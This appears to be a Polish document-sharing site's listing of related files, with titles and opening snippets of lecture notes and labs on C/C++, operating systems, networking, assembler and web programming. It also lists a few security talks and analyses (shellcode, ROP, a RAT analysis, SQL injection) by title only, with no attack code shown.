Krótki artykuł opisujący trzy podstawowe konwencje wywoływania funkcji C++ (a jest ich więcej). Konwencje wywoływania funkcji nie są tematem, na który można się szeroko rozpisać, jednak należy znać i odróżniać
Tworzenie oprogramowania
Tworzenie oprogramowania dr inż. Krzysztof Konopko e-mail: k.konopko@pb.edu.pl 1 Tworzenie oprogramowania dla systemów wbudowanych Program wykładu: Tworzenie aplikacji na systemie wbudowanym. Konfiguracja
Uniwersytet Zielonogórski Instytut Sterowania i Systemów Informatycznych. Ćwiczenie 3 stos Laboratorium Metod i Języków Programowania
Uniwersytet Zielonogórski Instytut Sterowania i Systemów Informatycznych Ćwiczenie 3 stos Laboratorium Metod i Języków Programowania Celem ćwiczenia jest zapoznanie studentów z najprostszą dynamiczną strukturą
XQTav - reprezentacja diagramów przepływu prac w formacie SCUFL przy pomocy XQuery
http://xqtav.sourceforge.net XQTav - reprezentacja diagramów przepływu prac w formacie SCUFL przy pomocy XQuery dr hab. Jerzy Tyszkiewicz dr Andrzej Kierzek mgr Jacek Sroka Grzegorz Kaczor praca mgr pod
Podstawy programowania w języku C++
Podstawy programowania w języku C++ Część siódma Przetwarzanie tablic znaków Autor Roman Simiński Kontakt roman.siminski@us.edu.pl www.us.edu.pl/~siminski Niniejsze opracowanie zawiera skrót treści wykładu,
Instytut Teleinformatyki
Instytut Teleinformatyki Wydział Inżynierii Elektrycznej i Komputerowej Politechnika Krakowska programowanie usług sieciowych Dziedzina Unix laboratorium: 06 Kraków, 2014 06. Programowanie Usług Sieciowych
Ćwiczenie nr 6. Programowanie mieszane
Ćwiczenie nr 6 Programowanie mieszane 6.1 Wstęp Współczesne języki programowania posiadają bardzo rozbudowane elementy językowe, co pozwala w większości przypadków na zdefiniowanie całego kodu programu
Return-oriented exploiting
HISPASEC Return-oriented exploiting by Gynvael Coldwind Dramatis Personæ Gynvael Coldwind - obecnie spec. ds. bezp. IT @ Hispasec - wcześniej ArcaBit - autor kilku artykułów (Hakin9 i Xploit) - prowadzi
SYSTEMY OPERACYJNE: STRUKTURY I FUNKCJE (opracowano na podstawie skryptu PP: Królikowski Z., Sajkowski M. 1992: Użytkowanie systemu operacyjnego UNIX)
(opracowano na podstawie skryptu PP: Królikowski Z., Sajkowski M. 1992: Użytkowanie systemu operacyjnego UNIX) W informatyce występują ściśle obok siebie dwa pojęcia: sprzęt (ang. hardware) i oprogramowanie
Podstawy programowania. Wykład Funkcje. Krzysztof Banaś Podstawy programowania 1
Podstawy programowania. Wykład Funkcje Krzysztof Banaś Podstawy programowania 1 Programowanie proceduralne Pojęcie procedury (funkcji) programowanie proceduralne realizacja określonego zadania specyfikacja
Struktury systemów operacyjnych
Struktury systemów operacyjnych Jan Tuziemski Część slajdów to zmodyfiowane slajdy ze strony os-booi.com copyright Silberschatz, Galvin and Gagne, 2013 Cele wykładu 1. Opis usług dostarczanych przez OS
Komunikacja za pomocą potoków. Tomasz Borzyszkowski
Komunikacja za pomocą potoków Tomasz Borzyszkowski Wstęp Sygnały, omówione wcześniej, są użyteczne w sytuacjach błędnych lub innych wyjątkowych stanach programu, jednak nie nadają się do przekazywania
SYSTEMY OPERACYJNE I laboratorium 3 (Informatyka stacjonarne 2 rok, semestr zimowy)
Procesy i shell. Polecenia ps, sleep, exit, jobs, bg, fg, top, kill, bash, tcsh, which, type, whereis, touch. Metaznak & i >>. Dowiązania miękkie i twarde. Proces jest programem, który jest wykonywany
Laboratorium Systemów Operacyjnych. Ćwiczenie 4. Operacje na plikach
Laboratorium Systemów Operacyjnych Ćwiczenie 4. Operacje na plikach Wykonanie operacji wymaga wskazania pliku, na którym operacja ma zostać wykonana. Plik w systemie LINUX identyfikowany jest przez nazwę,
Wprowadzenie do tworzenia kodów powłoki w systemie Linux. by h07 (h07@interia.pl)
Wprowadzenie do tworzenia kodów powłoki w systemie Linux. by h07 (h07@interia.pl) char *index[6]; index[0] = "Intro"; index[1] = "Zaczynamy"; index[2] = "Hello world?!"; index[3] = "Shellcode tworzący
Gniazda surowe. Bartłomiej Świercz. Łódź,9maja2006. Katedra Mikroelektroniki i Technik Informatycznych. Bartłomiej Świercz Gniazda surowe
Gniazda surowe Bartłomiej Świercz Katedra Mikroelektroniki i Technik Informatycznych Łódź,9maja2006 Wstęp Gniazda surowe posiadają pewne właściwości, których brakuje gniazdom TCP i UDP: Gniazda surowe
Najczęściej występujące problemy z instalacją i konfiguracją i ich rozwiązania.
Najczęściej występujące problemy z instalacją i konfiguracją i ich rozwiązania. Q. Jak uruchomić instalator? A. Trzeba nadać instalatorowi atrybut 'wykonywalny'. Można to zrobić wydając polecenie `chmod
Analiza malware Remote Administration Tool (RAT) DarkComet BeSTi@
Analiza malware Remote Administration Tool (RAT) DarkComet BeSTi@ 24 marzec, 2014 Wstęp Tydzień temu do wielu skrzynek pocztowych w Polsce trafił email z linkiem do pliku podszywającego się pod nową aktualizację
Metody Realizacji Języków Programowania
Metody Realizacji Języków Programowania Bardzo krótki kurs asemblera x86 Marcin Benke MIM UW 10 stycznia 2011 Marcin Benke (MIM UW) Metody Realizacji Języków Programowania 10 stycznia 2011 1 / 22 Uwagi
Języki programowania obiektowego Nieobiektowe elementy języka C++
Języki programowania obiektowego Nieobiektowe elementy języka C++ Roman Simiński roman.siminski@us.edu.pl www.programowanie.siminskionline.pl Przetwarzanie tablic znaków Łańcuchy znakowe jako tablice znaków
IdyllaOS. Prosty, alternatywny system operacyjny. www.idyllaos.org. Autor: Grzegorz Gliński. Kontakt: milyges@gmail.com
IdyllaOS www.idyllaos.org Prosty, alternatywny system operacyjny Autor: Grzegorz Gliński Kontakt: milyges@gmail.com Co to jest IdyllaOS? IdyllaOS jest to mały, prosty, uniksopodobny, wielozadaniowy oraz
Aplikacje WWW - laboratorium
Aplikacje WWW - laboratorium PHP. Celem ćwiczenia jest przygotowanie prostej aplikacji internetowej wykorzystującej technologię PHP. Aplikacja pokazuje takie aspekty, obsługa formularzy oraz zmiennych
Ćwiczenie nr 6. Poprawne deklaracje takich zmiennych tekstowych mogą wyglądać tak:
Ćwiczenie nr 6 Temat: Operacje na łańcuchach znaków. Zagadnienia: Zasady pracy z łańcuchami tekstowymi (tablice wartości typu char). funkcje standardowe operacji na łańcuchach, funkcje I/O dla operacji
UNIX: architektura i implementacja mechanizmów bezpieczeństwa. Wojciech A. Koszek dunstan@freebsd.czest.pl Krajowy Fundusz na Rzecz Dzieci
UNIX: architektura i implementacja mechanizmów bezpieczeństwa Wojciech A. Koszek dunstan@freebsd.czest.pl Krajowy Fundusz na Rzecz Dzieci Plan prezentacji: Wprowadzenie do struktury systemów rodziny UNIX
Wprowadzenie do programowania w języku Visual Basic. Podstawowe instrukcje języka
Wprowadzenie do programowania w języku Visual Basic. Podstawowe instrukcje języka 1. Kompilacja aplikacji konsolowych w środowisku programistycznym Microsoft Visual Basic. Odszukaj w menu startowym systemu
Działanie systemu operacyjnego
Działanie systemu operacyjnego Budowa systemu komputerowego I NIC Jednostka centralna Sterownik dysku Sterownik drukarki Sterownik sieci Szyna systemowa (magistrala danych) Sterownik pamięci operacyjnej
Architektura komputerów
Architektura komputerów Tydzień 5 Jednostka Centralna Zadania realizowane przez procesor Pobieranie rozkazów Interpretowanie rozkazów Pobieranie danych Przetwarzanie danych Zapisanie danych Główne zespoły
Uwagi dotyczące notacji kodu! Moduły. Struktura modułu. Procedury. Opcje modułu (niektóre)
Uwagi dotyczące notacji kodu! Wyrazy drukiem prostym -- słowami języka VBA. Wyrazy drukiem pochyłym -- inne fragmenty kodu. Wyrazy w [nawiasach kwadratowych] opcjonalne fragmenty kodu (mogą być, ale nie
Ćwiczenie nr 3. Wyświetlanie i wczytywanie danych
Ćwiczenie nr 3 Wyświetlanie i wczytywanie danych 3.1 Wstęp Współczesne komputery przetwarzają dane zakodowane za pomocą ciągów zerojedynkowych. W szczególności przetwarzane liczby kodowane są w systemie
76.Struktura oprogramowania rozproszonego.
76.Struktura oprogramowania rozproszonego. NajwaŜniejsze aspekty obiektowego programowania rozproszonego to: Współdziałanie (interoperability) modułów programowych na róŝnych maszynach. Wielokrotne wykorzystanie
Wskaźniki. Informatyka
Materiały Wskaźniki Informatyka Wskaźnik z punktu widzenia programisty jest grupą komórek pamięci (rozmiar wskaźnika zależy od architektury procesora, najczęściej są to dwa lub cztery bajty ), które mogą
Środowisko Keil. Spis treści. Krzysztof Świentek. Systemy wbudowane. 1 Trochę teorii. 2 Keil
Środowisko Krzysztof Świentek Systemy wbudowane Spis treści 1 2 Źródła 1 http://infocenter.arm.com 2 http://www.keil.com/arm/mdk.asp 3 http://pl.wikipedia.org Spis treści 1 2 Co to jest toolchain? Zbiór
Poniższe funkcje opisane są w 2 i 3 części pomocy systemowej.
Procesy Proces (zwany też zadaniem) jest jednostką aktywną, kontrolowaną przez system operacyjny i związaną z wykonywanym programem. Proces ma przydzielone zasoby typu pamięć (segment kodu, segment danych,
Zasady programowania Dokumentacja
Marcin Kędzierski gr. 14 Zasady programowania Dokumentacja Wstęp 1) Temat: Przeszukiwanie pliku za pomocą drzewa. 2) Założenia projektu: a) Program ma pobierać dane z pliku wskazanego przez użytkownika
Bezpieczeństwo systemów komputerowych
Bezpieczeństwo systemów komputerowych Jak pisać poprawne programy? Aleksy Schubert (Marcin Peczarski) Instytut Informatyki Uniwersytetu Warszawskiego 6 listopada 2018 Na podstawie: David A. Wheeler Secure
Zaawansowane aplikacje internetowe
Zaawansowane aplikacje internetowe AJAX 1 Celem tego laboratorium jest pokazanie moŝliwości technologii AJAX. W ramach ćwiczeń zostanie zbudowana prosta aplikacja, przechwytująca kliknięcia uŝytkownika
3. Identyfikacja. SKŁADNIA #include <sys/socket.h> int getpeername(int socket, struct sockaddr *addr, int *addrlen);
3.1. Określanie adresu połączonego hosta 3. #include int getpeername(int socket, struct sockaddr *addr, int *addrlen); Funkcja getpeername dostarcza adresu drugiej strony połączenia. Parametry:
ISO/ANSI C - funkcje. Funkcje. ISO/ANSI C - funkcje. ISO/ANSI C - funkcje. ISO/ANSI C - funkcje. ISO/ANSI C - funkcje
Funkcje (podprogramy) Mianem funkcji określa się fragment kodu, który może być wykonywany wielokrotnie z różnych miejsc programu. Ogólny zapis: typ nazwa(argumenty) ciało funkcji typ określa typ danych
RPC. Zdalne wywoływanie procedur (ang. Remote Procedure Calls )
III RPC Zdalne wywoływanie procedur (ang. Remote Procedure Calls ) 1. Koncepcja Aplikacja wywołanie procedury parametry wyniki wykonanie procedury wynik komputer klienta komputer serwera Zaletą takiego
UNIFON podręcznik użytkownika
UNIFON podręcznik użytkownika Spis treści: Instrukcja obsługi programu Unifon...2 Instalacja aplikacji Unifon...3 Korzystanie z aplikacji Unifon...6 Test zakończony sukcesem...9 Test zakończony niepowodzeniem...14
Bezpieczeństwo systemów informatycznych
Bezpieczeństwo systemów informatycznych Rule Set Based Access Control ĆWICZENIE RSBAC 1 Wprowadzenie RSBAC to zestaw łat na jądro systemu Linux rozszerzających bezpieczeństwo systemu. Wspiera on mechanizmy
1. Pierwszy program. Kompilator ignoruje komentarze; zadaniem komentarza jest bowiem wyjaśnienie programu człowiekowi.
1. Pierwszy program // mój pierwszy program w C++ #include using namespace std; cout
Język ludzki kod maszynowy
Język ludzki kod maszynowy poziom wysoki Język ludzki (mowa) Język programowania wysokiego poziomu Jeśli liczba punktów jest większa niż 50, test zostaje zaliczony; w przeciwnym razie testu nie zalicza
BEZPIECZEŃSTWO W SIECIACH
PREZENTACJA NA SYSTEMY OPERACYJNE Katarzyna Macioszek styczeń 2007 DEFINICJA ROBAKA CO TO JEST ROBAK? PRZYKŁADY ROBAKÓW Robak - program komputerowy zdolny do samoreplikacji przez sieć bez interakcji użytkownika
2. System uprawnień w linuxie
2. System uprawnień w linuxie Uprawnienia do plików: -rw-r--r-x 1 pawelza students 0 Lis 17 08:21 plik Mamy tutaj trzy grupy uprawnień: -rw - dla właściciela (owner, oznaczany też "user" reprezentowany
Łącza nienazwane(potoki) Łącza nienazwane mogą być używane tylko pomiędzy procesami ze sobą powiązanymi.
Przykład: $ ls more Łącza nienazwane(potoki) Łącza nienazwane mogą być używane tylko pomiędzy procesami ze sobą powiązanymi. Tworzenie łącza #include int pipe(int filedes[2]); Przykład: int
Projektowanie baz danych za pomocą narzędzi CASE
Projektowanie baz danych za pomocą narzędzi CASE Metody tworzenia systemów informatycznych w tym, także rozbudowanych baz danych są komputerowo wspomagane przez narzędzia CASE (ang. Computer Aided Software
Skanowanie podsieci oraz wykrywanie terminali ABA-X3
Skanowanie podsieci oraz wykrywanie terminali ABA-X3 Terminale ABA-X3 od dostarczane od połowy listopada 2010 r. są wyposażane w oprogramowanie umożliwiające skanowanie podsieci w poszukiwaniu aktywnych
Iteracyjny serwer TCP i aplikacja UDP
Iteracyjny serwer TCP i aplikacja UDP Iteracyjny serwer TCP Funkcje wywoływane przez serwer TCP socket() - bind() - listen() - accept() - read() / write() - close() socket() Creates an endpoint for communication
Linux vs rootkits. - Adam 'pi3' Zabrocki
Linux vs rootkits - Adam 'pi3' Zabrocki /usr/bin/whoami ADAM ZABROCKI /usr/bin/whoami ADAM ZABROCKI /usr/bin/whoami ADAM ZABROCKI /usr/bin/whoami ADAM ZABROCKI /usr/bin/whoami ADAM ZABROCKI /usr/bin/whoami
Zdarzenia Zdarzenia onload i onunload
Zdarzenia Zdarzenia onload i onunload Ćwiczenie 1. Rysunek 1. Okno powitalne wykorzystujące zdarzenie onload Na stronie mogą zachodzić różne zdarzenia, np. użytkownik kliknie myszą lub zacznie wprowadzać
Wyrażenie include(sciezka_do_pliku) pozwala na załadowanie (wnętrza) pliku do skryptu php. Plik ten może zawierać wszystko, co może się znaleźć w
Wyrażenie include(sciezka_do_pliku) pozwala na załadowanie (wnętrza) pliku do skryptu php. Plik ten może zawierać wszystko, co może się znaleźć w obrębie skryptu. Wyrażenia include() i require() są niemal
Zdalne wywoływanie procedur RPC. Dariusz Wawrzyniak 1
Zdalne wywoływanie procedur Zagadnienia projektowe Zagadnienia realizacyjne main(int argc, char* argv[]){ int id, status; id = atoi(argv[1]); status = zabij_proc(id); exit(status)... int zabij_proces (int
Prezentacja systemu RTLinux
Prezentacja systemu RTLinux Podstawowe założenia RTLinux jest system o twardych ograniczeniach czasowych (hard real-time). Inspiracją dla twórców RTLinux a była architektura systemu MERT. W zamierzeniach
Wskaźniki a tablice Wskaźniki i tablice są ze sobą w języku C++ ściśle związane. Aby się o tym przekonać wykonajmy cwiczenie.
Część XXII C++ w Wskaźniki a tablice Wskaźniki i tablice są ze sobą w języku C++ ściśle związane. Aby się o tym przekonać wykonajmy cwiczenie. Ćwiczenie 1 1. Utwórz nowy projekt w Dev C++ i zapisz go na
CONFidence 13/05/2006. Jarosław Sajko, PCSS Jaroslaw.sajko@man.poznan.pl
IPTables Hacking CONFidence 13/05/2006 Jarosław Sajko, PCSS Jaroslaw.sajko@man.poznan.pl 1 Zamiast planu 2 ZB PCSS Praca operacyjna w ramach ogólnopolskiej szerokopasmowej sieci PIONIER oraz zasobów Centrum
Programowanie Strukturalne i Obiektowe Słownik podstawowych pojęć 1 z 5 Opracował Jan T. Biernat
Programowanie Strukturalne i Obiektowe Słownik podstawowych pojęć 1 z 5 Program, to lista poleceń zapisana w jednym języku programowania zgodnie z obowiązującymi w nim zasadami. Celem programu jest przetwarzanie
Instalacja programu Warsztat 3 w sieci
Instalacja programu Warsztat 3 w sieci (proszę uważnie przeczytać do końca) Spis treści 1 Przed instalacją...2 2 Przeprowadzanie po raz pierwszy instalacji sieciowej...3 2.1 Dane umieszczone na jednej
Cechy systemu X Window: otwartość niezależność od producentów i od sprzętu, dostępny kod źródłowy; architektura klient-serwer;
14.3. Podstawy obsługi X Window 14.3. Podstawy obsługi X Window W przeciwieństwie do systemów Windows system Linux nie jest systemem graficznym. W systemach Windows z rodziny NT powłokę systemową stanowi
SQL injection. Metody włamań do systemów komputerowych p. 1/13. Bogusław Kluge, Karina Łuksza, Ewa Makosa
Metody włamań do systemów komputerowych SQL injection Bogusław Kluge, Karina Łuksza, Ewa Makosa b.kluge@zodiac.mimuw.edu.pl, k.luksza@zodiac.mimuw.edu.pl, e.makosa@zodiac.mimuw.edu.pl Metody włamań do
Programowanie w języku Python. Grażyna Koba
Programowanie w języku Python Grażyna Koba Kilka definicji Program komputerowy to ciąg instrukcji języka programowania, realizujący dany algorytm. Język programowania to zbiór określonych instrukcji i
Wstęp do programowania INP001213Wcl rok akademicki 2017/18 semestr zimowy. Wykład 12. Karol Tarnowski A-1 p.
Wstęp do programowania INP001213Wcl rok akademicki 2017/18 semestr zimowy Wykład 12 Karol Tarnowski karol.tarnowski@pwr.edu.pl A-1 p. 411B Plan prezentacji (1) Obsługa łańcuchów znakowych getchar(), putchar()
Co to jest NODE.JS? Nowoczesne środowisko programistyczne
Node.js Co to jest NODE.JS? Nowoczesne środowisko programistyczne Środowisko programistyczne w sensie zestawu gotowych klas i metod których można używać do przygotowania własnych skalowalnych i wydajnych
ISO/ANSI C - funkcje. Funkcje. ISO/ANSI C - funkcje. ISO/ANSI C - funkcje. ISO/ANSI C - funkcje. ISO/ANSI C - funkcje
Funkcje (podprogramy) Mianem funkcji określa się fragment kodu, który może być wykonywany wielokrotnie z różnych miejsc programu. Ogólny zapis: typ nazwa(argumenty) ciało funkcji typ określa typ danych
8. Listy wartości, dodatkowe informacje dotyczące elementów i przycisków
8. Listy wartości, dodatkowe informacje dotyczące elementów i przycisków 1. Jak wspomnieliśmy wcześniej, nie można wymagać od użytkowników, znajomości wszystkich identyfikatorów prowadzących, wykonawców
Laboratorium 6: Dynamiczny przydział pamięci. dr inż. Arkadiusz Chrobot dr inż. Grzegorz Łukawski
Laboratorium 6: Dynamiczny przydział pamięci dr inż. Arkadiusz Chrobot dr inż. Grzegorz Łukawski 15 maja 2015 1. Wprowadzenie Instrukcja poświęcona jest dynamicznemu przydziałowi i zwalnianiu pamięci w
Projekt PaX. Łata na jądro systemu operacyjnego Linux Strona projektu: pax.grsecurity.net
Projekt PaX Łata na jądro systemu operacyjnego Linux Strona projektu: pax.grsecurity.net Główne rodzaje ataków związane z błędem przepełnienia bufora Niebezpieczeństwa mają źródło w błędach popełnianych
CODE::BLOCKS & VALGRIND OPRACOWAŁ MICHAŁ BETHKE
CODE::BLOCKS & VALGRIND OPRACOWAŁ MICHAŁ BETHKE O CZYM PREZENTACJA? Code::Blocks Informacje wstępne Skąd ściągnąć? Jak zainstalować? (wersja linuksowa) Rzut okiem na panel główny Tworzenie naszego pierwszego
Języki programowania. Przetwarzanie tablic znaków. Część druga. Autorzy Tomasz Xięski Roman Simiński
Języki programowania Część druga Przetwarzanie tablic znaków Autorzy Tomasz Xięski Roman Simiński Niniejsze opracowanie zawiera skrót treści wykładu, lektura tych materiałów nie zastąpi uważnego w nim
Funkcje i instrukcje języka JavaScript
Funkcje i instrukcje języka JavaScript 1. Cele lekcji a) Wiadomości Uczeń : zna operatory i typy danych języka JavaScript, zna konstrukcję definicji funkcji, zna pętlę If i For, Do i While oraz podaje
Zdalne wywoływanie procedur RPC
Zdalne wywoływanie procedur Zagadnienia projektowe Zagadnienia realizacyjne main(int argc, char* argv[]){ int id, status; id = atoi(argv[1]); status = zabij_proc(id); exit(status) }... int zabij_proces
Zdalne wywoływanie procedur RPC
Zdalne wywoływanie procedur Zagadnienia projektowe Zagadnienia realizacyjne main(int argc, char* argv[]){ int id, status; id = atoi(argv[1]); status = zabij_proc(id); exit(status)... int zabij_proces (int
SYSTEMY OPERACYJNE I SIECI KOMPUTEROWE
SYSTEMY OPERACYJNE I SIECI KOMPUTEROWE WINDOWS 1 SO i SK/WIN 007 Tryb rzeczywisty i chroniony procesora 2 SO i SK/WIN Wszystkie 32-bitowe procesory (386 i nowsze) mogą pracować w kilku trybach. Tryby pracy
Programowanie hybrydowe C (C++) - assembler. MS Visual Studio Inline Assembler
Programowanie hybrydowe C (C++) - assembler MS Visual Studio Inline Assembler Wprowadzenie Możliwość wprowadzania kodu asemblerowego bezpośrednio w kodzie źródłowym w języku C lub C++ Nie wymagany MASM
Wprowadzenie do programowania w języku Visual Basic. Podstawowe instrukcje języka
Wprowadzenie do programowania w języku Visual Basic. Podstawowe instrukcje języka 1. Kompilacja aplikacji konsolowych w środowisku programistycznym Microsoft Visual Basic. Odszukaj w menu startowym systemu
Tablice deklaracja, reprezentacja wewnętrzna
Tablice deklaracja, reprezentacja wewnętrzna Tablica jest zmienną złożoną z elementów tego samego typu. Obejmuje ona ciągły obszar pamięci operacyjnej dokładnie tak duży, aby zmieścić wszystkie jej elementy.